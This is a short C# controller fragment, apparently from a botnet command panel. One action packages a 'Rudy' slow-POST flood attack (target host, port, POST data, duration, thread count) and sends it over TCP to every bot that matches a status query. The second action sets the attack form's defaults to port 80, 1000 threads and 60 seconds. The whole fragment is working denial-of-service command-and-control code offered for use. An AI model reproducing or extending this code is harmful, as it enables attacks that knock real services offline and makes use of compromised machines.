public async Task <IActionResult> ExecuteRudy(RudyModel model) { var method = new BaseCommands { Method = "Rudy" }; var Variables = new RudyVariables { Port = model.Port, PostDATA = model.PostDATA, }; var FloodModel = new Server.Commands.BaseFloodModel { Host = model.Host, Time = model.Time, ThreadstoUse = model.ThreadstoUse, }; var Command = new RudyCommand { newRudyVariables = Variables, newBaseCommand = method, newBaseFloodModel = FloodModel }; var bots = new GetBotsByStatusQuery { status = model.Force }; var botlist = await _mediator.Send(bots); var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", "")); return(Json(response)); }
public IActionResult Rudy() { var model = new RudyModel { Port = 80, PostDATA = "Dabala DUDU", ThreadstoUse = 1000, Time = 60 }; return(PartialView("_Rudy", model)); }